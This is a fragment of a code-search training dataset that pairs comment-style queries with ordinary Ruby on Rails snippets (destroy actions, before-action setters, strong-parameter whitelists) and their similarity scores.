"def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = LoadBalancerCheck.find(params[:id])\n @load_balancer_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: \"load_balancers\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hackplatformrelation = Hackplatformrelation.find(params[:id])\n @hackplatformrelation.destroy\n\n respond_to do |format|\n format.html { redirect_to hackplatformrelations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @connection.destroy\n respond_to do |format|\n format.html { redirect_to connections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_agg.destroy\n respond_to do |format|\n format.html { redirect_to event_aggs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @labbranch = labbranch.find(params[:id])\n @labbranch.destroy\n\n respond_to do |format|\n format.html { redirect_to labbranches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dog_breed_group.destroy\n respond_to do |format|\n format.html { redirect_to dog_breed_groups_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @studygroup.destroy\n respond_to do |format|\n format.html { redirect_to studygroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meritbadge = Meritbadge.find(params[:id])\n @meritbadge.destroy\n\n respond_to do |format|\n format.html { redirect_to(meritbadges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @node.destroy\r\n respond_to do |format|\r\n format.html { redirect_to nodes_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @branch = Branch.find(params[:id])\n @branch.destroy\n\n respond_to do |format|\n format.html { redirect_to branches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @analysis.destroy\n respond_to do |format|\n format.html { redirect_to analyses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @overlay = Overlay.find(params[:id])\n @overlay.destroy\n\n respond_to do |format|\n format.html { redirect_to overlays_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @clapme_stage.destroy\n respond_to do |format|\n format.html { redirect_to website_stages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jam_circle.destroy\n respond_to do |format|\n format.html { redirect_to jam_circles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @socio_rg.destroy\n respond_to do |format|\n format.html { redirect_to socio_rgs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_label = GroupLabel.find(params[:id])\n @group_label.destroy\n\n respond_to do |format|\n format.html { redirect_to group_labels_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @connection = Connection.find(params[:id])\n @connection.destroy\n\n respond_to do |format|\n format.html { redirect_to connections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @connection = Connection.find(params[:id])\n @connection.destroy\n\n respond_to do |format|\n format.html { redirect_to connections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subset.destroy\n respond_to do |format|\n format.html { redirect_to subsets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grm_grappt = GrmGrappt.find(params[:id])\n @grm_grappt.destroy\n\n respond_to do |format|\n format.html { redirect_to grm_grappts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n @gethotelstaticdatagd.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotelstaticdatagds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @network_connection = NetworkConnection.find(params[:id])\n @network_connection.destroy\n\n respond_to do |format|\n format.html { redirect_to network_connections_url }\n format.json { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @datasource.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.70091116",
"0.69834864",
"0.68997496",
"0.68341494",
"0.6780763",
"0.6780763",
"0.6719513",
"0.67140996",
"0.6644761",
"0.66418374",
"0.6597057",
"0.6595819",
"0.65829927",
"0.6466911",
"0.6449677",
"0.6436914",
"0.6348817",
"0.6288825",
"0.6287741",
"0.6237578",
"0.6219749",
"0.6152199",
"0.6141509",
"0.61308306",
"0.6102992",
"0.608349",
"0.60825205",
"0.6081526",
"0.6062394",
"0.6058709",
"0.605314",
"0.60404724",
"0.60390437",
"0.6030019",
"0.60031587",
"0.5988972",
"0.59792113",
"0.5960882",
"0.5948623",
"0.5944566",
"0.5942392",
"0.5940364",
"0.59343827",
"0.59319484",
"0.5921298",
"0.5918404",
"0.5917617",
"0.59130985",
"0.5912483",
"0.59119594",
"0.5910253",
"0.5906898",
"0.5901438",
"0.58949775",
"0.5893432",
"0.58869404",
"0.5877018",
"0.58745307",
"0.5871833",
"0.5864978",
"0.58638066",
"0.5863174",
"0.5860163",
"0.5857415",
"0.58572495",
"0.5855064",
"0.58521074",
"0.5850387",
"0.58471936",
"0.5846827",
"0.5844281",
"0.5842121",
"0.58413196",
"0.5841112",
"0.5840971",
"0.58343035",
"0.5834064",
"0.58339554",
"0.5818573",
"0.581685",
"0.58147514",
"0.58140546",
"0.5810791",
"0.5809387",
"0.58020127",
"0.57991606",
"0.5796308",
"0.5795542",
"0.57933885",
"0.5793038",
"0.5792663",
"0.5790751",
"0.5790751",
"0.57896996",
"0.5788912",
"0.57875067",
"0.5787348",
"0.5786928",
"0.5785475",
"0.5779709"
] |
0.7861553
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_mergegraph
@mergegraph = Admin::Mergegraph.find(params[:id])
merge_id = @mergegraph.merge_id
@merge = Admin::Merge.find(merge_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def mergegraph_params
params.require(:admin_mergegraph).permit(:merge_id, :graph_id, :side, :y, :vieworder)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
